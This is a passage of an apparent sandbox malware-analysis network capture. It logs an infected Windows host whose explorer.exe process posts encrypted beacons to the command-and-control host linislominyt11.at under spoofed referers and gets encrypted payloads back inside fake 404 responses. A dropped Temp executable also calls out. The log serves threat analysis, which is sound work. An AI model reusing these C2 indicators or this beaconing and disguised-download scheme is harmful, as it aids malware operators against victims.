e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 22 92 ee 66 98 f7 72 ab c0 0b 97 d1 ce c9 dd fb 2c e1 31 79 ba 7c 34 a7 5b 0c e4 95 e1 2a a1 87 a2 74 6c 63 03 ba dd 49 d5 13 2f fa 2f 29 0f 98 7f 44 bd cb d0 26 94 b2 09 7e cf d9 3e 48 a1 37 b6 c1 be 15 9d 6d 5a 86 35 a9 3d 95 85 5b af 40 5e fd 10 0c 67 dc 5b b6 92 ad 94 c5 42 e9 a4 61 d0 12 c9 3c 39 f5 71 04 60 45 a8 ca 82 45 59 46 2f 09 7d 48 a3 49 04 0f 63 b1 40 11 d9 bc ee 1a 32 70 75 de 70 7d c2 61 5b 7a 6f f1 de 88 81 b6 53 d0 df c2 70 27 2d 5e 90 cc 9d de 40 22 f1 58 59 5e bb bd 59 a4 8d 4c e0 b7 d1 97 09 97 f2 22 ee 00 fb 91 8b ba d6 4b 81 d9 a5 bf 96 70 55 48 72 2a 05 09 5d 4c 8e ad 71 40 9b ef 4e 37 c3 1f 91 b6 7e 6a 72 5f 1e f2 46 60 6e 70 d1 da 50 3f 04 60 87 fe e6 18 22 84 2f c4 f1 ab a3 3d 3e Data Ascii: =Zq <`~E&oCU74o8,.g@.nY9v}Hr8Bfnpp}QHBCh3w)pF>t$27#k%1n~Yx0h;#]n3`Du~hyi1y#.0rYMk^d4fH=p nf/JTG7dr=$@(_[#P\|=YCy9za4t}a$ZWAk3]?Mh+uX2.SCDSPIfoEq{]knSbqiC0[?PMK"jq7GL)=\``C'iw(kGBtOe?1~U)Z$qgN}3Xh:hUT?dp\#9#P4J.bS&D7NGZ#7V4gy~<fWPtq6Tb@w6K7IDp}3f'&`GX?BV<x55$:!-Sk^@n\rx%v@mW2b^aI)w$1%eokhL30vE/=YlD{g7AH"oLs8Q0&QkiF}.a\|uq?zp)oaH&?&` [TG_m\|x8nm"fr,1y\|4[tlcI//)D&~>H7mZ5=[@^g[Ba<9q`EEYF/}HIc@2pup}a[zoSp'-^@"XY^YL"KpUHr]Lq@N7~jr_F`npP?`"/=>
Aug 31, 2022 14:28:14.336357117 CEST	8338	IN	Data Raw: bf 05 bd 6f e5 36 e2 56 d8 aa 56 30 6f 8b ab df a8 33 8a c2 0c 91 51 13 96 28 18 80 a3 71 92 1a c1 cb 6c 28 f7 f5 75 ca 6a 9e b0 2c 53 86 6f d6 0f dc d1 42 cb 69 c8 88 26 89 dd dd aa b3 a3 49 0f 94 f6 a4 13 63 53 6b e5 d0 71 12 6c 37 36 1a 8e 9a Data Ascii: o6VV0o3Q(ql(uj,SoBi&IcSkql76!%eIAUt6)Dhkz,^,NKOv"4"{p[,-[4JB}j1,@>\|$m$%Qr=nyDe_RB^J!AEAP
Aug 31, 2022 14:28:14.622354984 CEST	8339	IN	Data Raw: 08 0f 05 ee 96 14 65 fe 2a 3b 30 12 53 0d 1c 36 a7 f4 6d bf d6 91 69 2c 0d af 51 03 9c 4f e4 60 b9 57 54 0c e1 6a 5b 24 2a 3e da 0c e1 6a 74 3b ec 00 74 50 3e de 77 68 78 6c eb b4 dd 8d 38 3c e4 e3 91 a2 6a 85 5f 97 90 ce 6e cb 5e c3 b9 48 d2 4d Data Ascii: e;0S6mi,QO`WTj[$>jt;tP>whxl8<j_n^HMD];iii.Ip3d4>xl&$)Q6$Bq`Gk5s_rRP?ah(g`7jUNNQ")sT9kRQQ]#
Aug 31, 2022 14:28:14.622392893 CEST	8341	IN	Data Raw: 64 01 8f d5 5e 05 25 e5 b6 75 ff 90 c5 58 f4 53 e7 f5 fe d8 df 79 2b 56 74 fd 66 1b 6d e0 b2 1a 58 81 5a 53 1a fe c6 e8 bc 07 db 34 7c 08 1c 0e 9c 4f 33 e4 35 83 91 78 87 95 27 9e 0a d3 a7 fc f8 8b 91 a2 27 f0 cb e0 99 aa 43 2e ea 3a ca 80 6d 83 Data Ascii: d^%uXSy+VtfmXZS4\|O35x''C.:m0f_x&r4_J\| P~9Uc4GJz0ffu;:5$^<mqa<K\|Kz V(/XbFn -tN\|-c$$
Aug 31, 2022 14:28:14.622766018 CEST	8342	IN	Data Raw: 00 ec 29 cf 7e ad 38 a5 a3 35 66 4a 67 31 98 cc d4 b6 23 45 9b 7b 5c 0e a7 46 b8 22 75 25 67 6b 01 3f 74 84 72 28 01 18 d2 3a 7b 76 b4 21 b4 70 0e 74 4f fe 05 c8 2e ff 5f 7d 6d 05 be c6 15 07 94 ea 1c 67 d1 00 11 55 c3 40 85 24 a1 ba d4 14 52 b7 Data Ascii: )~85fJg1#E{\F"u%gk?tr(:{v!ptO._}mgU@$R8(NV)m,. <KBkBJA^LnRxA-rzC/!ow"9?@g&^TbTg}p\LdQyLj=!cBqKcx@]$gQ;QPI7?cYwd
Aug 31, 2022 14:28:14.908759117 CEST	8344	IN	Data Raw: 33 4d f8 96 32 cf 48 84 02 b4 02 a3 a0 5e 43 53 da c7 0e 5d cb 8f 50 07 8b ec f0 e3 4a 3a f2 da 9e 9d 20 5b 3a 10 fe 02 c1 20 00 bf 62 ba 3c 12 b4 e5 2e be 34 3e 24 2f c0 c5 ad 99 50 97 70 f6 6f 43 b6 9b e5 18 45 aa 80 09 07 b9 cb 12 65 15 39 47 Data Ascii: 3M2H^CS]PJ: [: b<.4>$/PpoCEe9Gb`/Y1P-B#m>VkA`?Y\~f0h4QFXl7HVv~C4i$d%Y@]t'L-z=3UP(o~K}7GN
Aug 31, 2022 14:28:14.908806086 CEST	8345	IN	Data Raw: ef ac fb 4b 5c f0 21 36 f0 6b 7f c1 a6 a4 e5 1b e2 c9 94 44 d8 ae ab 91 6e c6 78 61 6b f0 b9 f5 ad f6 d7 e0 c2 e5 66 43 22 21 5e 98 ae a0 a2 17 71 55 ad 53 2b 23 87 70 93 5b 9d 84 4c af 58 86 49 80 69 ad c5 3e 32 c4 8e 6a cf 5d 65 cb 23 de b2 e2 Data Ascii: K\!6kDnxakfC"!^qUS+#p[LXIi>2j]e#CAuB1k!vo^,***~SOzR:;\M2FS7"#ck_WdrFFq(\1xxF)w2&~H>rc#{0<9dM&D!
Aug 31, 2022 14:28:14.910161018 CEST	8346	IN	Data Raw: a0 8b 1f aa f3 9e 18 2e 13 86 98 58 e2 7f 61 57 2e 61 a4 8d f4 8f 7c 4c 61 94 a8 02 e9 9c db c8 3c 80 45 ca 57 a5 28 6c 61 ad 76 a0 c3 11 05 24 22 4d 53 40 ed 97 1c 3b 7c 13 d7 26 71 c9 84 5c 46 ba ce 9e ff c9 17 24 76 9b e3 21 06 8f 45 b6 98 c1 Data Ascii: .XaW.a\|La<EW(lav$"MS@;\|&q\F$v!E/gGc#u\z"6.eFEZ;qKd)Z?an{L)z&UGqQKF*t:cZa6eV ]iL&z~_R/iV
Aug 31, 2022 14:28:14.953928947 CEST	8348	IN	Data Raw: 25 78 5b 4d 21 5e 9f d7 43 58 89 6b ef b7 a4 91 03 bd e9 fb 64 4d a9 df d3 56 9e 91 50 a2 4f 50 25 fb 39 72 79 08 6a c0 46 22 44 d8 2b a8 65 6c e9 2f 93 7e d5 37 84 df 5c 11 25 26 a7 5b 81 21 89 72 e0 76 8d 25 49 de e5 81 be 63 c1 66 e5 4b 00 46 Data Ascii: %x[M!^CXkdMVPOP%9ryjF"D+el/~7\%&[!rv%IcfKFqA)\X?ge+xbKLJM'mCwA;b@btv+dV4:K~$%[{rI(;B/\|3`z
Aug 31, 2022 14:28:14.954348087 CEST	8349	IN	Data Raw: da 5b 68 67 23 12 d3 58 fb 33 8c 21 11 54 fe a2 92 4c 51 34 91 52 30 96 25 29 8e a0 a1 7a b9 4f 17 7f 8b c2 d7 31 d9 33 49 73 e6 16 19 96 0e fb 80 5b e7 0b 04 14 21 22 ab d4 6a b8 bc c0 ca 90 3a 07 e9 96 38 73 c8 97 91 b4 29 a2 01 5b 42 1c 69 93 Data Ascii: [hg#X3!TLQ4R0%)zO13Is[!"j:8s)[Bi``%.Lp&cDt:h,(nQVx^khy}Q-byN+d& !^illz/?~="rP\|d+k;N%S85F
Aug 31, 2022 14:28:15.196440935 CEST	8351	IN	Data Raw: f6 81 95 5e ce 97 21 01 0c ce fd a7 77 80 31 40 d6 5a 3a 9a 37 bb a2 dc 0f 14 06 84 73 41 f9 a2 23 2a 8e 1a 37 6b 41 0f d7 d2 81 f9 90 98 fd 24 95 5b 03 a5 05 b9 c6 1b 32 a7 b3 31 49 37 95 82 8e 47 b3 0b 5a 8f 11 50 8b f8 38 99 eb e4 3d 00 5c c5 Data Ascii: ^!w1@Z:7sA#7kA$[21I7GZP8=\Gjj;]Qv6f]aV<^yzJ7!m#[0m}am!{=VYM$Z"#?\4C0U[WHtPWf.:82KxY]/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49721	37.34.248.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:17.751501083 CEST	8595	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://idhkmbecx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: linislominyt11.at
Aug 31, 2022 14:28:17.751522064 CEST	8595	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 ac c2 40 c8 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bO@;{)INqGl8Q6=tfK[Bq-qjU@M<!FH<`AXu,>w.$Nbz-GoFZX72ar}]
Aug 31, 2022 14:28:18.480370045 CEST	8596	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 89 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 d6 d3 eb 8d cf 4c fd e4 63 1c 06 28 bf 8f da eb 5c a1 20 ca 37 b1 37 e2 c7 a6 66 68 0d 7f dc 2b 5a cc 51 5d c5 56 b8 5c c9 f2 8d 24 3f 7d be e6 2f 37 52 66 05 2e d2 30 f4 91 80 c4 02 f7 34 5b 7f d2 72 be 8d be a2 4d b6 32 75 43 d7 1c f6 c8 76 16 9a a8 70 6b b7 52 64 55 09 26 12 69 e4 42 97 37 a0 22 11 76 24 18 6a f6 ac 0d 59 4f bc 4b ba fb 63 86 e9 40 bd 33 89 b2 8c 63 1c 0c 18 e7 c3 9c ba c2 a1 45 fc 0b e8 04 9b 8a a3 40 a0 dd b8 b0 20 b8 bd 37 31 ed 4f 87 6b 0f 6e 16 40 82 c9 7b f8 b8 68 f0 32 62 47 a0 41 01 93 64 7a b1 76 94 d5 8e 17 6c be 79 bc ea 4b 64 d4 60 27 50 21 91 f3 52 44 4b 12 f4 cc 7f 3f b4 74 66 52 79 5f a9 3e d7 0f 7c 12 e0 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 22 6e 4c 80 9c 13 ff 13 19 dd b4 b5 af 31 3c 27 d4 69 b7 9f d3 c9 ce 67 d2 49 1c a4 af 2b dc 55 3d 3f a8 68 92 0c ff 9d 5c 6f 55 40 57 74 7b 39 66 37 a9 04 28 84 02 40 77 8b c7 9b 84 f7 3d 66 f4 8a 64 b1 1d 30 14 51 89 70 17 4b 81 6b df 8e 82 61 f0 e4 1f 4e a1 90 4e a1 54 55 a7 8e b7 5b 6f c3 db 29 32 38 e7 5b 1e 54 bb 1e 26 6d 11 ee c3 ce 57 a3 5c 1d 85 1f d4 5c 68 91 9c 29 06 f1 2c ee b9 03 87 e5 1f e4 a6 bd 07 9f f3 be d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 b2 6d d7 d0 e5 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 a7 58 bb 98 be 6c 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 36 4e 78 80 34 aa ae 88 81 7d a4 33 25 6d da a9 c3 28 cd 2f cb f2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 33 88 b9 ec db 6a f3 33 cd a0 ea 9e dc 5f a8 4c 45 31 f5 73 8d 83 c9 ed 07 62 57 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 3f d8 2e 67 b3 bb 5d 36 37 60 de 9e 30 11 b7 65 a2 b5 09 78 60 18 31 5f d6 36 ae 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 02 c2 39 d6 3c 2e 6f 88 63 71 8d e3 f6 2c b2 3d db a0 43 5a 17 0c 5c 5a 16 03 0e 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 f3 dc 95 e5 32 e2 20 00 3d 15 33 b5 e2 85 e3 92 c2 c1 7a 7e d3 95 bc 43 cf b6 75 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8a 94 e5 be f8 dc 57 a4 01 b6 8d 4a 08 7c 91 65 69 c7 f9 f3 af 14 ed 67 e1 72 2d 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ec d5 54 66 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f6 a8 b4 f3 5b 11 8f 41 bd 0a 29 78 87 9b 68 ca 4b c2 7b 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 0f 14 78 c5 8a d3 0e 3a 03 2a 79 2b 0d 8f 3d ef a2 86 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGLc(\ 77fh+ZQ]V\$?}/7Rf.04[rM2uCvpkRdU&iB7"v$jYOKc@3cE@ 71Okn@{h2bGAdzvlyKd`'P!RDK?tfRy_>\|l3l)\|~qhJO;yLuVW;r#u1y"nL1<'igI+U=?h\oU@Wt{9f7(@w=fd0QpKkaNNTU[o)28[T&mW\\h),tyPmCm+z(Fzk7 RH:M?~MpXl%.5_)CCUb6Nx4}3%m(/#w3j3_LE1sbWW!}B?.g]67`0ex`1_6xm^229<.ocq,=CZ\Z_i9nX2 =3z~CuE.`:WJ\|eigr-X]y7gTf:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoUV[A)xhK{(fV<\kguKn%/tMaK$[x:y+=
Aug 31, 2022 14:28:18.480402946 CEST	8598	IN	Data Raw: f5 11 dc 4f 59 9a 5b 85 5c 42 41 eb 60 fa 12 37 8e dd 28 81 41 78 3d 65 43 32 c0 36 6d c1 db dc d1 29 20 4d 9d 15 ac 25 63 6f 7d 54 5a 84 d0 3e f5 c6 89 99 11 85 1b 9a 32 04 5c 41 13 9c c6 2f a8 f3 d7 e1 1c 70 84 d8 c0 e4 93 c8 f6 47 b2 3c 43 c5 Data Ascii: OY[\BA`7(Ax=eC26m) M%co}TZ>2\A/pG<C4,um\og~$zX9;67=74J!YAPG6/<C1t7RJu!]P\0=Ef1HWA{d5 w[PL,_
Aug 31, 2022 14:28:18.480422020 CEST	8598	IN	Data Raw: df b0 2a f8 c3 0e 9f bc 5d fb ba 8d 6d 19 ff 43 07 a2 76 bf f9 32 0f 43 a8 d0 c8 38 a3 b8 c1 6b 53 cd 2a 1d 2d 60 22 69 4b 9e 36 c6 b9 40 95 da 04 4c b6 8f 37 24 c3 13 d5 27 cc 3b b6 73 32 99 7d 9a da 48 e9 61 fa 68 23 e0 0e 12 35 c6 56 0d f4 a5 Data Ascii: ]mCv2C8kS-`"iK6@L7$';s2}Hah#5VhEH hatw-s="R#
Aug 31, 2022 14:28:18.480444908 CEST	8599	IN	Data Raw: 7f 17 2e c9 d3 48 35 7a 4b de 42 04 4e 63 9b 2d 8a 3b e6 f1 67 34 16 4c 5e d5 db d7 a7 5e 5e 48 b3 f5 18 23 1d e5 98 f5 f0 6e d9 a4 38 9a fb f0 1a 9a 80 3f c0 93 9a a1 c0 2a 43 3b cf 5d f5 e8 b8 f8 37 06 46 e4 d7 89 aa 4d 53 fe 90 0b 31 cf 60 0d Data Ascii: .H5zKBNc-;g4L^^^H#n8?C;]7FMS1`=52rOlPy<?!a)+j$f4AK:$<I5=?VObJ-/[!&Q` ]O11j2;<c)OgPo.A3-j
Aug 31, 2022 14:28:18.642342091 CEST	8601	IN	Data Raw: cb 18 99 ec f3 e1 37 be 52 04 80 ee 0a 4a d9 f6 36 34 d1 41 90 3e 6b a5 18 ae e7 84 15 60 7d 79 65 80 4d f2 97 0b 89 af c1 64 db 62 32 36 ce 6c 50 1f e1 e9 c3 3a 57 e7 ad fb 36 0c 07 64 2e 03 35 10 75 fe 90 5c 7b d0 ea c0 dd db 5c 40 71 65 19 63 Data Ascii: 7RJ64A>k`}yeMdb26lP:W6d.5u\{\@qecSN;~]iyte;MSWW5 Q/(ex-qWWh)??S5M2jDt<C6Gk06>B8!pR;Y
Aug 31, 2022 14:28:18.642375946 CEST	8602	IN	Data Raw: 90 80 ae d9 75 36 a2 73 5e eb 99 85 c7 f5 56 75 c5 0b ca 83 45 65 15 da b4 0d d8 d4 95 af b8 3f 9b b1 d8 43 dd 04 8c 63 6a 68 f6 2c db f0 3e 05 36 e0 1f c2 f3 8c 34 4f ce 94 f3 66 0b fd cd 3e 06 75 58 e2 75 b8 e1 c1 cb 7b f3 29 b2 5c cb be 4d a4 Data Ascii: u6s^VuEe?Ccjh,>64Of>uXu{)\MVSdkjn>0w>p0FHgY]Sa.~gV6$pm0lmI\|06\|HZkZ"NX`&w4iJibc;7VI*
Aug 31, 2022 14:28:18.642398119 CEST	8603	IN	Data Raw: 12 2a a3 97 8e 0c 27 48 46 6b 9f 25 f4 b6 fd 67 cb 99 b6 0a 86 db 3c 2d f5 4f 31 c3 76 9b a9 2f 14 f8 ec 31 6b 99 78 11 e3 03 7e 94 97 13 15 5f 90 ac dd af fc 33 eb b5 f1 9b 24 be 45 31 4e 49 a8 30 9a 10 11 c3 15 09 b8 e2 6f 44 eb e8 10 7c 1e ef Data Ascii: 'HFk%g<-O1v/1kx~_3$E1NI0oD\|#UAUI(ooW9Q`?/d/;}zJ%\|@Rgu+AedtQ{n%<QHlkDu82i{X\|eI cB3:sMx)
Aug 31, 2022 14:28:18.642420053 CEST	8605	IN	Data Raw: 61 7f 58 be 3f e3 05 41 3e a6 d5 60 70 dc 25 a7 ae e0 3b 24 7f 88 f4 a3 17 32 de 7e 02 15 50 df 1c 10 80 30 83 9c 35 2e d0 0e df b0 c2 de 37 0a b5 be 1f f6 cf f7 03 fb 79 e7 38 d4 72 3a 72 04 96 e7 70 ec b1 4f 94 6c 4a 88 17 8b f0 5f 53 8a f8 07 Data Ascii: aX?A>`p%;$2~P05.7y8r:rpOlJ_S)irD`+oYQ>e;Jq="NXceavQ\Ry'Fe}iDAMaI^0ySTPY1q]#(o(
Aug 31, 2022 14:28:18.642442942 CEST	8606	IN	Data Raw: cc e4 d2 54 8e e1 41 cd b7 60 39 4d d0 19 bd 8e 45 58 0f ae 26 ac eb 3f f1 39 24 c7 6f 65 95 53 5c 38 d6 8b b0 7f 4b d4 3b f6 78 9b 07 da 55 88 3a 79 9f 61 2c 20 8e 5b c2 cf 8e a9 c3 8e e6 ba 01 f0 20 54 95 0f b5 2d e3 bb 9a ab a3 b5 f3 61 c3 b7 Data Ascii: TA`9MEX&?9$oeS\8K;xU:ya, [ T-akc<1'j+Q/oq(\|ePhJRaMK^"a%+Eo!r)rh6!x,BBnA\B7%$5OpqpaNRh6\'z?iv$:Bb!=;
Aug 31, 2022 14:28:18.642513037 CEST	8608	IN	Data Raw: 1b ff 4f 72 b9 3b 64 f3 16 47 ce fa 74 7e 63 24 d7 71 8d 20 31 83 b4 40 ed 05 35 c3 79 4e b1 ff 1e 1a 18 83 a9 de d1 14 b7 e9 ff 0a a8 54 cf 2c 72 cf 3e 95 ee 45 95 77 32 8b 29 79 53 ae d7 6d c2 e6 8b 7b 12 e7 18 d2 08 70 56 42 33 03 a6 12 c6 7a Data Ascii: Or;dGt~c$q 1@5yNT,r>Ew2)ySm{pVB3z}3l']"'CuP5(m9$QTm8hP=Q8y&"RE07:rb3dxjyhy{yEBI].5_RK4-ez/)B?&H
Aug 31, 2022 14:28:18.642538071 CEST	8609	IN	Data Raw: 42 03 79 7d eb d5 35 8f a4 32 20 00 20 8b 04 14 bc be 44 40 0c 02 65 58 bd fc 0a 34 ff b5 b6 3f 00 12 d8 cf 93 2f 89 d5 30 5d 43 d7 83 14 6f 5c 5a 26 f6 72 aa 1d 17 32 6d 02 dd 17 56 21 7f c8 88 a4 a1 18 62 dd 6d 85 c6 21 e0 53 c9 42 14 60 1c b2 Data Ascii: By}52 D@eX4?/0]Co\Z&r2mV!bm!SB`_.8 lHz7b_{7 +h+:Ms`dI"CKx=W)^[4We`!BKaecKI/NDfhKJp@5f2a%7Yxf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49722	210.92.250.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:23.317302942 CEST	10255	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kbpkwp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 301 Host: linislominyt11.at
Aug 31, 2022 14:28:23.317317009 CEST	10255	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 9b a7 10 a4 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bOh\|bC]t~7XJ6&zl^:_m<f"72"%}Tf02c2c&M&\Ss*HN"k_&AP
Aug 31, 2022 14:28:24.306849003 CEST	10256	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49743	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49723	210.92.250.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 14:28:24.643356085 CEST	10257	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rgsasmcll.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 192 Host: linislominyt11.at
Aug 31, 2022 14:28:24.643372059 CEST	10257	OUT	Data Raw: 4a 9d 8f bf 41 6f 51 23 5f 70 5d 54 08 ac 50 bb 59 66 e8 60 fe 1d d7 ac b6 6e a6 84 04 f6 a3 90 8c ae fb b2 01 35 e5 c7 ab 2f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 84 e7 30 f8 Data Ascii: JAoQ#_p]TPYf`n5/jp_S61oJf=B!bO0$hWz]hZ>5o%D4TwM#pV~?!&\zP/2SfD<'Z&
Aug 31, 2022 14:28:25.633260965 CEST	10258	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 12:28:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8a 18 e4 8f 93 87 f2 e6 3f d7 09 2a e3 44 d5 e9 78 d6 76 c8 1d 7a 38 e0 eb 62 ea 6b 50 b4 d3 29 e3 2d e8 5f 6e 9c b7 5e 98 6b 5f 26 f1 b6 b1 e4 03 f3 dd 65 30 e5 dd 32 21 56 1e c7 c2 3d 3b 59 1a 8d 